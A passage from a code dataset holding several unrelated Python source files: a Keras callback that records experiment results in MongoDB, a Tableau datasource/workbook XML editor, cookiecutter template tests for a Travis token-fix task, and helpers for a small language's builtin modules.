# Instantiate the experiment namer and name pool\n ExperimentNamer.__init__(self)\n\n # Get the experiment configuration inherited from BaseReader\n self.get_config(config_path)\n \n if experiment != None:\n self.experiment = experiment\n\n\n # Establish connection with mongoDB\n self.establish_db_connection('manager')\n \n # Establish which epoch to start recording values\n assert 'start_recording' in list(self.experiment.keys()), 'A start_recording value must be included in the experiment yaml.'\n self.start_recording = self.experiment['start_recording']\n\n self.results = {}\n for name in self.experiment['train_metrics']:\n self.results[name] = []\n self.results['val_' + name] = []\n\n\n # Get any previous experiment names\n previous_experiments = list(self.col.find())\n df = pd.DataFrame(previous_experiments)\n\n # Determine which names have been used\n self.get_used_names(df)\n self.get_unused_names()\n\n # Draw a random name to call this experiment\n this_experiment_name = self.get_random_unused_name()\n self.experiment['experiment_name'] = this_experiment_name\n print('{:12} {} {}'.format('', 'this experiment is called: ', this_experiment_name))\n print('{:12} {} {} {}'.format('', 'WARNING', len(self.unused_names), 'experiment names remaining'))\n\n # Initalize empty lists for loss values\n self.loss = []\n self.val_loss = []\n\n\n def _merge_two_dicts(self, x, y):\n z = x.copy()\n z.update(y)\n return z\n\n def create_experiment_entry(self):\n date = {'date_created' : datetime.datetime.utcnow()}\n experiment = self._merge_two_dicts(self.experiment, date)\n self.entry_id = self.col.insert_one(experiment)\n print('Created experiment entry: ', self.entry_id.inserted_id)\n\n def update_experiment_results(self, results):\n self.col.update_one({'_id' : self.entry_id.inserted_id}, {'$set' : results})\n print('Experiment results succesfully recorded.')\n\n \n def on_epoch_begin(self, epoch, logs=None):\n if epoch == self.start_recording:\n self.create_experiment_entry()\n\n \n def on_epoch_end(self, epoch, logs={}): \n for name in self.experiment['train_metrics']:\n self.results[name].append(np.float64(logs[name]))\n self.results['val_'+name].append(np.float64(logs['val_'+name])) \n if epoch >= self.start_recording:\n self.update_experiment_results(self.results)", "repo_name": "beeCwright/ml_experiments", "sub_path": "src/ml_experiments/manager.py", "file_name": "manager.py", "file_ext": "py", "file_size_in_byte": 4565, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pkg_resources.resource_filename", "line_number": 15, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 52, "usage_type": "attribute"}, {"api_name": "base.BaseReader", "line_number": 57, "usage_type": "name"}, {"api_name": "base.BaseConnection", "line_number": 57, "usage_type": "name"}, {"api_name": "tensorflow.keras.callbacks.Callback", "line_number": 57, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 87, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 110, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 128, "usage_type": "call"}]} {"seq_id": "22645226211", "text": "import xml.etree.ElementTree as ET\nimport os\nimport shutil\n\nimport xmltodict\nfrom zipfile import ZipFile\n\nimport tableau_utilities.tableau_file.tableau_file_objects as tfo\nfrom tableau_utilities.general.funcs import transform_tableau_object\n\n\nclass TableauFileError(Exception):\n \"\"\" A minimum viable exception. \"\"\"\n\n def __init__(self, message):\n self.message = message\n\n\nclass TableauFile:\n \"\"\" The base class for a Tableau file, i.e. Datasource or Workbook. \"\"\"\n\n def __init__(self, file_path):\n \"\"\"\n Args:\n file_path (str): Path to a Tableau file\n\n \"\"\"\n self.file_path = os.path.abspath(file_path)\n self.file_directory = os.path.dirname(self.file_path)\n self.file_basename = os.path.basename(self.file_path)\n self.extension = file_path.split('.')[-1]\n self.file_name = self.file_basename.replace(f'.{self.extension}', '')\n ''' Set on init '''\n self._tree: ET.ElementTree\n self._root: ET.Element\n self.has_extract_data: bool = False\n self.__extract_xml()\n\n def __extract_xml(self, path=None):\n \"\"\" Extracts the XML from a Tableau file.\n\n Args:\n path (str): The path to the zipped Tableau file\n\n Returns: The contents of the Tableau File\n \"\"\"\n if not path:\n path = self.file_path\n\n if self.extension in ['tdsx', 'twbx']:\n with ZipFile(path) as zip_file:\n for z in zip_file.filelist:\n if z.filename.split('.')[-1] not in ['tds', 'twb']:\n self.has_extract_data = True\n continue\n self._tree = ET.parse(zip_file.open(z.filename))\n self._root = self._tree.getroot()\n else:\n self._tree = ET.parse(path)\n self._root = self._tree.getroot()\n\n def unzip(self, unzip_all=False, extract_to=None):\n \"\"\" Unzips the Tableau File.\n\n Args:\n unzip_all (bool): True to unzip all zipped files\n extract_to: Override the source file directory and save the file to another location\n\n Returns: The path to the unzipped Tableau File\n \"\"\"\n\n if extract_to is not None:\n file_dir = extract_to\n else:\n file_dir = self.file_directory\n\n tableau_file_path = None\n with ZipFile(self.file_path) as zip_file:\n for z in zip_file.filelist:\n ext = z.filename.split('.')[-1]\n if unzip_all:\n zip_file.extract(member=z, path=file_dir)\n if ext in ['tds', 'twb']:\n tableau_file_path = os.path.join(file_dir, z.filename)\n elif not unzip_all and ext in ['tds', 'twb']:\n zip_file.extract(member=z, path=file_dir)\n tableau_file_path = os.path.join(file_dir, z.filename)\n return tableau_file_path\n\n def save(self):\n \"\"\" Save/Update the Tableau file with the XML changes made \"\"\"\n if self.extension in ['tdsx', 'twbx']:\n # Rebuild the TDSX / TWBX archive file, with the updated archived TDS / TWB\n # Move the file into a temporary folder while updating\n temp_folder = os.path.join(self.file_directory, f'__TEMP_{self.file_name}')\n os.makedirs(temp_folder, exist_ok=False)\n temp_path = os.path.join(temp_folder, self.file_basename)\n shutil.move(self.file_path, temp_path)\n # Unzip the zipped files\n extracted_files = list()\n with ZipFile(temp_path) as z:\n for f in z.filelist:\n ext = f.filename.split('.')[-1]\n path = z.extract(member=f, path=temp_folder)\n extracted_files.append(path)\n if ext in ['tds', 'twb']:\n xml_path = path\n # Update XML file\n self._tree.write(xml_path, encoding=\"utf-8\", xml_declaration=True)\n # Repack the unzipped file\n with ZipFile(temp_path, 'w') as z:\n for file in extracted_files:\n arcname = file.split(temp_folder)[-1]\n z.write(file, arcname=arcname)\n # Move file back to the original folder and remove any unpacked contents\n shutil.move(temp_path, self.file_path)\n shutil.rmtree(temp_folder)\n else:\n # Update the Tableau file's contents\n self._tree.write(self.file_path, encoding=\"utf-8\", xml_declaration=True)\n\n\nclass Datasource(TableauFile):\n \"\"\"\n A class representation of a Tableau Datasource.\n Used to update a Tableau Datasource by interacting with various elements,\n such as Columns, Folders, Connections, Metadata, etc.\n \"\"\"\n\n def __init__(self, file_path):\n \"\"\"\n Args:\n file_path (str): Path to a Tableau Datasource file; tds or tdsx\n \"\"\"\n super().__init__(file_path)\n # Validate the file on initialization\n if self.extension not in ['tds', 'tdsx']:\n raise TableauFileError('File must be TDS or TDSX')\n\n self.connection: tfo.ParentConnection = self.__get_section(tfo.ParentConnection)\n self.aliases: tfo.Aliases = self.__get_section(tfo.Aliases)\n self.columns: tfo.TableauFileObjects[tfo.Column] = self.__get_section(tfo.Column, enforce_list=True)\n self.column_instance: tfo.ColumnInstance = self.__get_section(tfo.ColumnInstance)\n self.drill_paths: tfo.DrillPaths = self.__get_section(tfo.DrillPaths)\n self.folders_common: tfo.FoldersCommon = self.__get_section(tfo.FoldersCommon)\n self.date_options: tfo.DateOptions = self.__get_section(tfo.DateOptions)\n self.extract: tfo.Extract = self.__get_section(tfo.Extract)\n\n def __delattr__(self, attr):\n section = getattr(self, attr)\n if not section:\n return None\n # Remove the section from the parent Element\n parent = self._root.find('.')\n self.__remove_section_from_parent(parent, section.tag)\n # Set the section to None\n setattr(self, attr, None)\n\n def sections(self):\n \"\"\" Yields each section defined in the class, for iteration \"\"\"\n yield self.connection\n yield self.aliases\n yield self.columns\n yield self.column_instance\n yield self.drill_paths\n yield self.folders_common\n yield self.date_options\n yield self.extract\n\n @staticmethod\n def __remove_section_from_parent(parent, tag) -> list[tuple[int, ET.Element]]:\n \"\"\" Removes all elements of a section from the parent, and returns those elements\n Args:\n parent (ET.Element): The parent element to remove the section from\n tag (str): The tag of the section element(s)\n\n Returns: A list of (index, Element) for the elements removed from the parent Element\n \"\"\"\n # A section can be multiple elements within the parent element\n elements = [(i, e) for i, e in enumerate(parent) if e.tag.endswith(f'true...{tag}') or e.tag == tag]\n for _, e in elements:\n parent.remove(e)\n return elements\n\n def __get_section(self, obj, enforce_list=False):\n \"\"\" Sets DatasourceItems for each section\n\n Args:\n obj (type[tfo.TableauFileObject]): A Tableau File Object; ParentConnection, Column, etc\n enforce_list (bool): True if the section should be a TableauFileObjects list\n \"\"\"\n parent = self._root.find('.')\n # Gets elements within the parent element, with the appropriate section.tag\n section: list[dict] = list()\n for element in parent:\n if element.tag.endswith(f'true...{obj.tag}') or element.tag == obj.tag:\n item = xmltodict.parse(ET.tostring(element))[element.tag]\n if not item:\n continue\n new_item = transform_tableau_object(item)\n try:\n section.append(obj(**new_item))\n except TypeError as err:\n raise TableauFileError(f'{err}\\n\\nPre-transform {obj.tag} attributes: {item}') from err\n if len(section) > 1 or len(section) == 1 and enforce_list:\n return tfo.TableauFileObjects(section, item_class=obj, tag=obj.tag)\n if len(section) == 1:\n return section[0]\n if enforce_list:\n return tfo.TableauFileObjects(item_class=obj, tag=obj.tag)\n return obj()\n\n def enforce_column(self, column, folder_name=None, remote_name=None):\n \"\"\"\n Enforces a column by:\n - Adding the column if it doesn't exist, otherwise updating it to match the column\n - Adding the column's corresponding folder-item to the appropriate folder, if it doesn't exist\n - Create the folder if it doesn't exist\n - Updating the metadata local-name to map to the column name\n - Adding the column mapping to the mapping cols, if it doesn't exist\n\n Args:\n column (tfo.Column): The TableFile Column object\n remote_name (str): The name of the column from the connection (not required for Tableau Calculations),\n i.e. the SQL alias if the connection is a SQL query\n folder_name (str): The name of the folder that the column should be in\n\n \"\"\"\n # Add Column\n if column not in self.columns:\n self.columns.add(column)\n # Update the Column\n else:\n self.columns.update(column)\n\n # Add Folder / FolderItem for the column, if folder_name was provided\n if folder_name:\n # Remove the column's folder-item for preview folder, if it will be moved to a new folder\n current_folder = [f for f in self.folders_common.folder if f.folder_item.get(column.name)]\n if current_folder and current_folder[0].name != folder_name:\n current_folder[0].folder_item.delete(column.name)\n self.folders_common.folder.update(current_folder[0])\n # Add column to the specified folder\n folder = self.folders_common.folder.get(folder_name)\n folder_item = tfo.FolderItem(name=column.name)\n if folder and folder_item not in folder.folder_item:\n folder.folder_item.append(folder_item)\n self.folders_common.folder.update(folder)\n elif not folder:\n self.folders_common.folder.add(tfo.Folder(name=folder_name, folder_item=[folder_item]))\n\n # If a remote_name was provided, and the column is not a Tableau Calculation - enforce metadata\n if not remote_name or column.calculation:\n return None\n\n # Update Connection MetadataRecords & MappingCols\n connection_record = self.connection.metadata_records.get(remote_name)\n if not connection_record:\n raise TableauFileError(f'Remote name provided is not in the metadata of the connection: {remote_name}')\n connection_record.local_name = column.name\n self.connection.metadata_records.update(connection_record)\n conn_col = tfo.MappingCol(key=column.name, value=f'{connection_record.parent_name}.[{remote_name}]')\n # Update Connection MappingCols\n if conn_col not in self.connection.cols:\n # Update the Connection MappingCol if key or value is different\n found = False\n for col in self.connection.cols:\n if conn_col.key == col.key or conn_col.value == col.value:\n found = True\n self.connection.cols[col].key = conn_col.key\n self.connection.cols[col].value = conn_col.value\n # Otherwise, Add Connection MappingCol\n if not found:\n self.connection.cols.append(conn_col)\n\n # Update Extract MetadataRecords & MappingCols\n if not self.extract:\n return None\n extract_record = self.extract.connection.metadata_records.get(remote_name)\n if not extract_record:\n raise TableauFileError(f'Remote name provided is not in the metadata of the extract: {remote_name}')\n extract_record.local_name = column.name\n self.extract.connection.metadata_records.update(extract_record)\n extract_col = tfo.MappingCol(key=column.name, value=f'{extract_record.parent_name}.[{remote_name}]')\n # Update Extract MappingCols\n if extract_col not in self.extract.connection.cols:\n # Update the Extract MappingCol if key or value is different\n found = False\n for col in self.extract.connection.cols:\n if extract_col.key == col.key or extract_col.value == col.value:\n found = True\n self.extract.connection.cols[col].key = extract_col.key\n self.extract.connection.cols[col].value = extract_col.value\n # Otherwise, Add Extract MappingCol\n if not found:\n self.extract.connection.cols.append(extract_col)\n\n def save(self):\n \"\"\" Save all changes made to each section of the Datasource \"\"\"\n parent = self._root.find('.')\n ending_index = -1\n for section in self.sections():\n if not section:\n continue\n # Remove and get all elements of the section from the parent element\n elements = self.__remove_section_from_parent(parent, section.tag)\n # If there are no existing element(s), the index will be for the previous ending_index (default == -1)\n starting_index = elements[0][0] if elements else ending_index\n ending_index = elements[-1][0] + 1 if elements else starting_index\n # Insert the new / updated items\n if isinstance(section, tfo.TableauFileObjects):\n section.reverse()\n for idx, item in enumerate(section, 1):\n parent.insert(starting_index, item.xml())\n ending_index = starting_index + idx\n else:\n parent.insert(starting_index, section.xml())\n super().save()\n\n\nif __name__ == '__main__':\n # Params\n ds_path = 'downloads/Users + Orgs.tdsx'\n\n unzip = False\n unzip_all_files = False\n\n ds = Datasource(ds_path)\n if unzip:\n ds.unzip(unzip_all=unzip_all_files)\n\n print(ds.columns.get('[USER_ID]'))\n", "repo_name": "hoverinc/tableau-utilities", "sub_path": "tableau_utilities/tableau_file/tableau_file.py", "file_name": "tableau_file.py", "file_ext": "py", "file_size_in_byte": 14545, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.abspath", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.ElementTree", "line_number": 34, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 34, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 35, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 35, "usage_type": "name"}, {"api_name": "zipfile.ZipFile", "line_number": 51, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 56, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 56, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 59, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 59, "usage_type": "name"}, {"api_name": "zipfile.ZipFile", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "shutil.move", "line_number": 98, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 101, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 111, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 116, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 117, "usage_type": "call"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.ParentConnection", "line_number": 140, "usage_type": "attribute"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 140, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.Aliases", "line_number": 141, "usage_type": "attribute"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 141, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.TableauFileObjects", "line_number": 142, "usage_type": "attribute"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 142, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.Column", "line_number": 142, "usage_type": "attribute"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.ColumnInstance", "line_number": 143, "usage_type": "attribute"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 143, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.DrillPaths", "line_number": 144, "usage_type": "attribute"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 144, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.FoldersCommon", "line_number": 145, "usage_type": "attribute"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 145, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.DateOptions", "line_number": 146, "usage_type": "attribute"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 146, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.Extract", "line_number": 147, "usage_type": "attribute"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 147, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 171, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree", "line_number": 171, "usage_type": "name"}, {"api_name": "xmltodict.parse", "line_number": 197, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.tostring", "line_number": 197, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 197, "usage_type": "name"}, {"api_name": "tableau_utilities.general.funcs.transform_tableau_object", "line_number": 200, "usage_type": "call"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.TableauFileObjects", "line_number": 206, "usage_type": "call"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 206, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.TableauFileObjects", "line_number": 210, "usage_type": "call"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 210, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.FolderItem", "line_number": 245, "usage_type": "call"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 245, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.Folder", "line_number": 250, "usage_type": "call"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 250, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.MappingCol", "line_number": 262, "usage_type": "call"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 262, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.MappingCol", "line_number": 284, "usage_type": "call"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 284, "usage_type": "name"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects.TableauFileObjects", "line_number": 311, "usage_type": "attribute"}, {"api_name": "tableau_utilities.tableau_file.tableau_file_objects", "line_number": 311, "usage_type": "name"}]} {"seq_id": "41685048993", "text": "import os\nimport pprint\nimport shlex\nimport subprocess\nfrom collections import OrderedDict\nfrom contextlib import contextmanager\n\nfrom ruamel.yaml import YAML\nfrom cookiecutter.utils import rmtree\n\nyaml = YAML()\ndir_path = os.path.dirname(os.path.realpath(__file__))\ntravis_config_samples_path = os.path.join(dir_path, \"sample_travis_configs\")\n\n\n@contextmanager\ndef inside_dir(dirpath):\n \"\"\"\n Execute code from inside the given directory\n :param dirpath: String, path of the directory the command is being run.\n \"\"\"\n old_path = os.getcwd()\n try:\n os.chdir(str(dirpath))\n yield\n finally:\n os.chdir(old_path)\n\n\n@contextmanager\ndef bake_in_temp_dir(cookies, *args, **kwargs):\n \"\"\"\n Delete the temporal directory that is created when executing the tests\n :param cookies: pytest_cookies.Cookies,\n cookie to be baked and its temporal files will be removed\n \"\"\"\n result = cookies.bake(*args, **kwargs)\n try:\n yield result\n finally:\n rmtree(str(result.project))\n\n\ndef run_inside_dir(command, dirpath):\n \"\"\"\n Run a command from inside a given directory, returning the exit status\n :param command: Command that will be executed\n :param dirpath: String, path of the directory the command is being run.\n \"\"\"\n with inside_dir(dirpath):\n try:\n return int(subprocess.check_call(shlex.split(command)))\n except subprocess.CalledProcessError as e:\n print(\"Error\")\n print(e.output)\n return int(e.returncode)\n\n\ndef sort_dict(d):\n res = OrderedDict()\n for k, v in sorted(d.items()):\n if isinstance(v, dict):\n res[k] = sort_dict(v)\n else:\n res[k] = v\n return res\n\n\nclass Fix:\n def __init__(self, config_file, project_dir, force=True):\n self.config_file = config_file\n self.project_dir = project_dir\n self.project_config_file = project_dir.join(\".travis.yml\")\n self.force = force\n self.before, self.after = self.parse_configs()\n\n def run_fix(self, force=None):\n if force is None:\n force = self.force\n # Replace with test .travis config\n command = \"cp {} {}\".format(self.config_file, self.project_config_file)\n subprocess.check_call(shlex.split(command))\n result = run_inside_dir(\n \"invoke fix-token --no-verify {}\".format(\"--force\" if force else \"\"),\n self.project_dir,\n )\n self.before, self.after = self.parse_configs()\n print(result, type(result))\n return result\n\n def parse_configs(self):\n with open(self.config_file, \"r\") as _source_file:\n with open(self.project_config_file, \"r\") as _destination_file:\n before = sort_dict(yaml.load(_source_file))\n after = sort_dict(yaml.load(_destination_file))\n return before, after\n\n def get(self):\n return self.before, self.after\n\n def debug(self):\n print(\"##################################\")\n [pprint.pprint(p) for p in self.get()]\n print(\"##################################\")\n\n def was_modified(self):\n return self.before != self.after\n\n def get_final_token(self):\n try:\n releases_stages = [\n stage\n for stage in self.after[\"jobs\"][\"include\"]\n if stage.get(\"deploy\", dict()).get(\"provider\") == \"releases\"\n ]\n return releases_stages[0][\"deploy\"][\"token\"][\"secure\"]\n except (TypeError, KeyError):\n return None\n\n\ndef _test_fix_travis___after_travis_cli_equally_modified(project_dir):\n after_travis_cli_equally_modified = Fix(\n config_file=os.path.join(\n travis_config_samples_path, \"after_travis_cli.equally.modified.travis.yml\"\n ),\n project_dir=project_dir,\n )\n assert after_travis_cli_equally_modified.run_fix(force=False) == 0\n assert after_travis_cli_equally_modified.was_modified()\n\n\ndef _test_fix_travis___after_travis_cli_modified(project_dir):\n after_travis_cli_modified = Fix(\n config_file=os.path.join(\n travis_config_samples_path, \"after_travis_cli.modified.travis.yml\"\n ),\n project_dir=project_dir,\n )\n assert after_travis_cli_modified.run_fix(force=False) == 1\n assert not after_travis_cli_modified.was_modified()\n\n assert after_travis_cli_modified.run_fix(force=True) == 0\n assert after_travis_cli_modified.was_modified()\n assert after_travis_cli_modified.get_final_token() == \"NEW_GH_TOKEN\"\n\n\ndef _test_fix_travis___after_travis_cli_multiple_deploy(project_dir):\n after_travis_cli_multiple_deploy = Fix(\n config_file=os.path.join(\n travis_config_samples_path, \"after_travis_cli.multiple_deploy.travis.yml\"\n ),\n project_dir=project_dir,\n )\n assert after_travis_cli_multiple_deploy.run_fix(force=False) == 1\n assert not after_travis_cli_multiple_deploy.was_modified()\n assert after_travis_cli_multiple_deploy.run_fix(force=True) == 1\n assert not after_travis_cli_multiple_deploy.was_modified()\n\n\ndef _test_fix_travis___after_travis_cli_no_deploy(project_dir):\n after_travis_cli_no_deploy = Fix(\n config_file=os.path.join(\n travis_config_samples_path, \"after_travis_cli.no_deploy.travis.yml\"\n ),\n project_dir=project_dir,\n )\n assert after_travis_cli_no_deploy.run_fix(force=False) == 1\n assert not after_travis_cli_no_deploy.was_modified()\n assert after_travis_cli_no_deploy.run_fix(force=True) == 1\n assert not after_travis_cli_no_deploy.was_modified()\n\n\ndef _test_fix_travis___after_travis_cli_unmodified(project_dir):\n after_travis_cli_unmodified = Fix(\n config_file=os.path.join(\n travis_config_samples_path, \"after_travis_cli.unmodified.travis.yml\"\n ),\n project_dir=project_dir,\n )\n assert after_travis_cli_unmodified.run_fix(force=False) == 0\n assert after_travis_cli_unmodified.was_modified()\n assert after_travis_cli_unmodified.get_final_token() == \"NEW_GH_TOKEN\"\n assert after_travis_cli_unmodified.run_fix(force=True) == 0\n assert after_travis_cli_unmodified.was_modified()\n assert after_travis_cli_unmodified.get_final_token() == \"NEW_GH_TOKEN\"\n\n\ndef _test_fix_travis___before_travis_cli(project_dir):\n before_travis_cli = Fix(\n config_file=os.path.join(\n travis_config_samples_path, \"before_travis_cli.travis.yml\"\n ),\n project_dir=project_dir,\n )\n assert before_travis_cli.run_fix(force=False) == 1\n assert not before_travis_cli.was_modified()\n assert before_travis_cli.run_fix(force=True) == 1\n assert not before_travis_cli.was_modified()\n\n\ndef test_fix_travis(cookies):\n with bake_in_temp_dir(cookies) as result:\n _test_fix_travis___after_travis_cli_equally_modified(project_dir=result.project)\n _test_fix_travis___after_travis_cli_modified(project_dir=result.project)\n _test_fix_travis___after_travis_cli_multiple_deploy(project_dir=result.project)\n _test_fix_travis___after_travis_cli_no_deploy(project_dir=result.project)\n _test_fix_travis___after_travis_cli_unmodified(project_dir=result.project)\n _test_fix_travis___before_travis_cli(project_dir=result.project)\n", "repo_name": "romnn/cookiecutter-go", "sub_path": "tests/test_fix_travis_token.py", "file_name": "test_fix_travis_token.py", "file_ext": "py", "file_size_in_byte": 7318, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "ruamel.yaml.YAML", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 22, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 24, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 27, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 16, "usage_type": "name"}, {"api_name": "cookiecutter.utils.rmtree", "line_number": 41, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 30, "usage_type": "name"}, {"api_name": "subprocess.check_call", "line_number": 52, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 52, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 53, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 60, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 82, "usage_type": "call"}, {"api_name": "shlex.split", "line_number": 82, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path", "line_number": 149, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path", "line_number": 162, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path", "line_number": 175, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path", "line_number": 190, "usage_type": "attribute"}]} {"seq_id": "9921846410", "text": "\"\"\"\nUtilities for creating built-in modules\n\"\"\"\n\nfrom dataclasses import field, dataclass\nfrom immutables import Map\nfrom typing import Callable, NoReturn, Optional, Sequence, TypeVar, Dict, Union\nfrom . import vm_utils\nfrom . import parser\nfrom .types import Code, CodeFlags, Instruction, Scope, Stack, State, Value, NativeFunction, Vec\n\nZ = TypeVar(\"Z\", bound=Stack, contravariant=True)\n\n\ndef _fail(name: str, reason: str, stack: Stack):\n print(\"Failure in function\", name)\n print(\"Reason:\", reason)\n print(\"> Stack: \", \"[\" + \" \".join(map(vm_utils.stringify_value, vm_utils.repr_stack(stack))) + \"]\")\n raise RuntimeError(name, reason)\n\n\nFail = Callable[[str], NoReturn]\n\n\n@dataclass\nclass BuiltinModule:\n name: str\n members: Dict[str, Value] = field(init=False)\n\n @property\n def exports(self) -> Sequence[str]:\n return tuple(self.members)\n\n def __post_init__(self):\n self.members = {}\n\n def add(self, member_name: str, value: Value):\n self.members[member_name] = value\n\n def register_simple(self, name: Optional[str] = None):\n def inner(fn: Callable[[Z, Fail], Stack]) -> NativeFunction:\n native_fn = make_simple(name)(fn) # type: ignore\n self.add(native_fn.name, native_fn)\n return native_fn\n return inner\n\n def register(self, name: Optional[str] = None):\n def inner(fn: Callable[[State, Fail], State]) -> NativeFunction:\n native_fn = make_function(name)(fn) # type: ignore\n self.add(native_fn.name, native_fn)\n return native_fn\n return inner\n\n def make_scope(self, id: int):\n return Scope(parent=None, id=id, values=Map(self.members))\n\n def make_scope_with_existing_state(self, id: int, state: State):\n from . import vm\n scope = Scope(parent=vm.builtin_scope.id, id=id, values=Map(self.members))\n return scope, state.set_scope(id, scope)\n\n\n\n\n@dataclass\nclass GurklangModule:\n name: str\n exports: Sequence[str]\n source_code: str\n\n def make_scope(self, id: int):\n from . import vm\n state = (\n State\n .make(vm.global_scope, vm.builtin_scope)\n .make_scope(vm.global_scope.id, id, persistent=True)\n )\n fn = Code(\n parser.parse(self.source_code),\n closure=None,\n flags=CodeFlags.PARENT_SCOPE,\n name=f\"<module-{self.name}>\"\n )\n state = vm.call(state, fn)\n return 